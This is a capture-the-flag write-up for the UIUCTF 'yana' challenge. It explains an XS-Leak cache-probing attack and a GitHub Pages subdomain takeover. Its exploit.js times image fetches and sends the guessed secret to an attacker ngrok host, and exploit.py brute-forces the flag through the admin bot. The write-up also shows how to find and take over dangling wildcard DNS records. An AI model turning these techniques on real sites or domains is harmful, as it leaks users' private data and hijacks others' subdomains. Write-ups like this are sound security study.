yana
GitHub Pages subdomain takeover and cache probing XS-Leak

Description

I made a note taking website. Can you get the admin's note?
https://chal.yana.wtf
admin bot nc yana-bot.chal.uiuc.tf 1337
author: arxenix ​
bot.js
2KB
Text
bot.js

Preface

This challenge was really great, even though there was an unintended solution. It took me on quite the journey, learning about cache probing attacks and subdomain takeovers.
The unintended solution stems from how Chrome handles cache partitioning. While Chrome version 85 onwards supports cache partitioning, effectively isolating caches by the requesting origin, running Chrome in headless mode does not achieve the same effect.
While not required to solve the challenge, figuring out the intended solution - a GitHub Pages subdomain takeover - was definitely an awesome experience.

Solution

This is a notepad app that functions entirely on the client-side. We can therefore analyze the JavaScript source code to look for vulnerabilities.

Source Code Analysis

The app uses the browser's local storage to store the user's notes.
1
const noteForm = document.getElementById("note");
2
noteForm.onsubmit = (e) => {
3
e.preventDefault();
4
window.localStorage.setItem("note", new FormData(noteForm).get("note"));
5
};
Copied!
We can see this in action using Chrome DevTools.
There is also a search feature that "searches" for notes. Interestingly, the search query gets placed into the URL's fragment identifier through document.location.hash.
1
const searchForm = document.getElementById("search");
2
const output = document.getElementById("output");
3
searchForm.onsubmit = (e) => {
4
e.preventDefault();
5
const query = new FormData(searchForm).get("search") ?? "";
6
document.location.hash = query;
7
search();
8
};
Copied!
The search is implemented through the search function. The search function grabs the URL's fragment identifier, and checks if it is a substring of the note stored in the browser's local storage.
1
function search() {
2
const note = window.localStorage.getItem("note") ?? "";
3
console.log(`note: ${note}`);
4
const query = document.location.hash.substring(1);
5
console.log(`query: ${query}`);
6
if (query) {
7
if (note.includes(query)) {
8
console.log('found');
9
output.innerHTML =
10
'found! <br/><img src="https://sigpwny.com/uiuctf/y.png"></img>';
11
} else {
12
console.log('not found');
13
output.innerHTML =
14
'nope.. <br/><img src="https://sigpwny.com/uiuctf/n.png"></img>';
15
}
16
}
17
}
Copied!
If the query is a valid substring, then the green https://sigpwny.com/uiuctf/y.png image is loaded and placed in the output div.
If the query is not found, the red https://sigpwny.com/uiuctf/n.png is loaded instead.
We are also provided with the bot.js script, which is the "admin" bot that visits any URL we give it. Notice that the flag is first saved as a note on the challenge server before our chosen URL is visited.
1
async function load_url(socket, data) {
2
let url = data.toString().trim();
3
console.log(`checking url: ${url}`);
4
if (!url.startsWith('http://') && !url.startsWith('https://')) {
5
socket.state = 'ERROR';
6
socket.write('Invalid scheme (http/https only).\n');
7
socket.destroy();
8
return;
9
}
10
socket.state = 'LOADED';
11
​
12
// "incognito" by default
13
const context = await browser.newContext();
14
const page = await context.newPage();
15
await page.goto("https://chal.yana.wtf");
16
await page.fill('#note > textarea', FLAG);
17
await page.click('#note > button');
18
await page.waitForTimeout(500);
19
await page.goto('about:blank');
20
await page.waitForTimeout(500);
21
socket.write(`Loading page ${url}.\n`);
22
await page.goto(url);
23
setTimeout(() => {
24
try {
25
page.close();
26
socket.write('timeout\n');
27
socket.destroy();
28
} catch (err) {
29
console.log(`err: ${err}`);
30
}
31
}, 60000);
32
}
Copied!

Cache Probing

Now, we know that:
    We are able to force the admin to visit the challenge server with any arbitrary fragment identifier, either directly (through submitting the challenge server URL to the bot) or indirectly (through JavaScript or iframes on our hosted site).
    This will allow us to make the admin's browser perform the search function, checking whether the provided fragment identifier is a substring of the flag.
At this point, I knew that it must have had something to do with brute-forcing the flag. However, since the search is performed on the client-side, we couldn't simply do a CSRF to get the search output.
Remember how y.png and n.png images are loaded based on the search output?
1
if (note.includes(query)) {
2
console.log('found');
3
output.innerHTML =
4
'found! <br/><img src="https://sigpwny.com/uiuctf/y.png"></img>';
5
} else {
6
console.log('not found');
7
output.innerHTML =
8
'nope.. <br/><img src="https://sigpwny.com/uiuctf/n.png"></img>';
9
}
Copied!
Perhaps we can perform a cache probing attack to determine whether the search was successful. The principle is as follows:
    1.
    The victim visits the attacker-controlled site. The attacker-controlled site loads an iframe of the notes site, with a search query. If the search query is a substring of the flag, then the https://sigpwny.com/uiuctf/y.png image is fetched and cached.
    2.
    The attacker-controlled site fetches the https://sigpwny.com/uiuctf/y.png image.
    3.
    By calculating the time taken to fetch the image, the attacker-controlled site can determine whether the image was cached (the time taken would be significantly lower).
This would allow us to brute-force the flag character by character.

Setting Up The Attack

To implement the cache probing attack, we need to come up with a JavaScript payload that would be run on the victim's browser to determine whether the image was cached.
We define an onFrameLoad() function that will be called when the iframe of the notes site, containing the search query, is loaded.
1
function onFrameLoad()
2
{
3
setTimeout(() => {
4
var xhr = new XMLHttpRequest();
5
​
6
function exfil(cached, duration) {
7
8
if (cached)
9
{
10
img = new Image();
11
img.src = "http://964fb36503ae.ngrok.io/?cached=" + document.getElementById('iframe').src.split('#')[1];
12
}
13
}
14
15
function check_cached(xhr, src) {
16
17
var startTime = performance.now();
18
19
xhr.open("GET", src);
20
xhr.onreadystatechange = function () {
21
22
if (xhr.readyState === 4) {
23
24
// check if image was cached based on response time
25
// if image was loaded in iframe, it would be cached
26
27
var endTime = performance.now();
28
duration = endTime - startTime;
29
console.log(duration);
30
31
if (duration < 10)
32
{
33
exfil(true, duration);
34
}
35
else
36
{
37
exfil(false, duration);
38
}
39
}
40
};
41
42
xhr.send();
43
}
44
45
check_cached(xhr, "https://sigpwny.com/uiuctf/y.png");
46
}, 500);
47
}
Copied!
We then prepare a template.html with a placeholder for the search query.
1
<script src="exploit.js"></script>
2
<iframe src="https://chal.yana.wtf/#{}" id="iframe" onload="onFrameLoad(this)"></iframe>
Copied!
Then, an exploit.py script can automate the bruteforce attack.
1
from pwn import *
2
import string
3
​
4
URL = 'http://964fb36503ae.ngrok.io/exploit.html'
5
FLAG = 'uiuctf{'
6
​
7
for char in string.ascii_lowercase + string.digits + '{}_':
8
print(char)
9
with open('template.html', 'r') as infile, open('exploit.html', 'w') as outfile:
10
outfile.write(infile.read().format(FLAG + char))
11
12
conn = remote('yana-bot.chal.uiuc.tf', 1337)
13
conn.recv()
14
conn.send(URL + '\r\n')
15
​
Copied!
We will have to run this script for each new character, adding the previously found ones to the FLAG variable. (Perhaps I should have wrote a cleaner solution?)

This Shouldn't Have Worked.

Here's why. I was hosting the exploit on an ngrok domain, but as of Chrome version 85, cache partitioning was implemented to defend against cache probing attacks. This update by Google in October 2020 explains how the new cache partitioning system works.
In brief, a new "Network Isolation Key" was added, which contains both the top-level site and the current-frame site. This allows the iframe's cache to be seperate from the top-level site's cache. The following example illustrates our attack scenario.
The initial fetching of the image through the notes application iframe should have resulted in a cache key of (attacker-site, notes-app-site, image-url)
The second time the image is fetched through the attacker-controlled site, the cache key would not contain the notes application site, and would instead be (attacker-site, attacker-site,image-url).
This should not result in a cache hit, since the two cache keys are different. But it did. After some local testing, I found that headless chrome simply doesn't perform cache partitioning.
I ran the admin bot in headless mode (the default) as follows:
1
const browser = await chromium.launch({
2
executablePath: "PATH-TO-CHROMIUM",
3
logger: {
4
isEnabled: () => true,
5
log: (name, severity, message, _args) => console.log(`chrome log: [${name}/${severity}] ${message}`)
6
},
7
});
Copied!
The attack worked. Cache partitioning was not enabled.
But running the bot with headless mode disabled, the attack did not work.
1
const browser = await chromium.launch({
2
executablePath: "PATH-TO-CHROMIUM",
3
logger: {
4
isEnabled: () => true,
5
log: (name, severity, message, _args) => console.log(`chrome log: [${name}/${severity}] ${message}`)
6
},
7
headless: false,
8
});
Copied!
This was the expected result, since cache partitioning should be enabled by default.
We can verify that both times, y.png was downloaded from the network, not fetched from the cache!

The Intended Solution

Assuming that cache partitioning worked, how could we bypass it?
An important implementation detail is that subdomains and port numbers are actually ignored when creating the cache key.
So when the image is requested by https://chal.yana.wtf/, only https://yana.wtf/ is actually saved in the cache key. This means that if we are able to control any *.yana.wtf subdomains, we would be able to bypass the cache partitioning since both requests would be originating from the same domain.

Subdomain Takeover

From the whois records, we could tell that this was a GitHub Pages site.
1
$ host chal.yana.wtf
2
chal.yana.wtf has address 185.199.108.153
3
​
4
$ whois 185.199.108.153
5
​
6
...
7
​
8
organisation: ORG-GI58-RIPE
9
org-name: GitHub, Inc.
10
country: US
11
org-type: LIR
12
address: 88 Colin P. Kelly Jr. Street
13
address: 94107
14
address: San Francisco
15
address: UNITED STATES
16
phone: +1 415 735 4488
17
admin-c: GA9828-RIPE
18
tech-c: NO1444-RIPE
19
abuse-c: AR39914-RIPE
20
mnt-ref: us-github-1-mnt
21
mnt-by: RIPE-NCC-HM-MNT
22
mnt-by: us-github-1-mnt
23
created: 2017-04-11T08:28:46Z
24
last-modified: 2020-12-16T13:16:10Z
25
source: RIPE # Filtered
26
​
27
...
Copied!
I did not know this, but GitHub does not require you to prove that you actually own the domain before allowing you to setup a custom domain for your GitHub Pages site.
This opens up several possibilities for subdomain takeovers. As warned by the official documentation, a wildcard DNS record that points any subdomain to GitHub is especially dangerous.
A subdomain takeover can occur when there is a dangling DNS entry. Let me explain.
Using the dig command, we can find the DNS records configured for chal.yana.wtf.
1
$ dig chal.yana.wtf +nostats +nocomments +nocmd
2
​
3
; <<>> DiG 9.10.6 <<>> chal.yana.wtf +nostats +nocomments +nocmd
4
;; global options: +cmd
5
;chal.yana.wtf. IN A
6
chal.yana.wtf. 240 IN A 185.199.108.153
Copied!
An A record maps the domain to the GitHub pages server.
But if we poke around a little more, we find that the DNS configuration indeed seems to use a wildcard A record for *.yana.wtf. For instance, a.yana.wtf and b.yana.wtf do not have any GitHub page associated with them, yet point to the GitHub pages server.
1
$ dig a.yana.wtf +nostats +nocomments +nocmd
2
​
3
; <<>> DiG 9.10.6 <<>> a.yana.wtf +nostats +nocomments +nocmd
4
;; global options: +cmd
5
;a.yana.wtf. IN A
6
a.yana.wtf. 300 IN A 185.199.108.153
7
​
8
$ dig b.yana.wtf +nostats +nocomments +nocmd
9
​
10
; <<>> DiG 9.10.6 <<>> b.yana.wtf +nostats +nocomments +nocmd
11
;; global options: +cmd
12
;b.yana.wtf. IN A
13
b.yana.wtf. 300 IN A 185.199.108.153
Copied!
Going to http://a.yana.wtf, therefore, will still forward the request to GitHub. GitHub looks for GitHub repositories with the appropriate CNAME file. Since no repository is configured to serve a.yana.wtf, a 404 page is shown.
This is a dangling DNS record, since anyone with a GitHub account can add the CNAME file containing a.yana.wtf to their repository, thereby taking over the a.yana.wtf domain.
With the exploit scripts we created earlier, we can create our own GitHub Pages site.
We configure the custom domain to abc.yana.wtf, which creates the following CNAME file in our repository.
Now, if we go to http://abc.yana.wtf, we will find that our exploit is being served!
Now, things are a little different. Because both the iframe and the top-level site are in the same yana.wtf domain, Chrome does not partition the cache. Notice that the first request, initiated by the iframe, fetched y.png from the network, while the second request, initiated by our exploit script, fetched y.png from the browser's cache.
This obviously causes a significant difference in the time taken to fetch the resources, allowing us to carry out the cache probing attack even when Chrome's cache partitioning policy is in effect.
As a sanity check, I ran the bot again locally without headless mode, this time providing it the https://abc.yana.wtf/exploit.html URL.
I confirmed that the exploit worked. Our exploit script determined that y.png was cached, and made a callback to our ngrok server with the successful query.
Last modified 2mo ago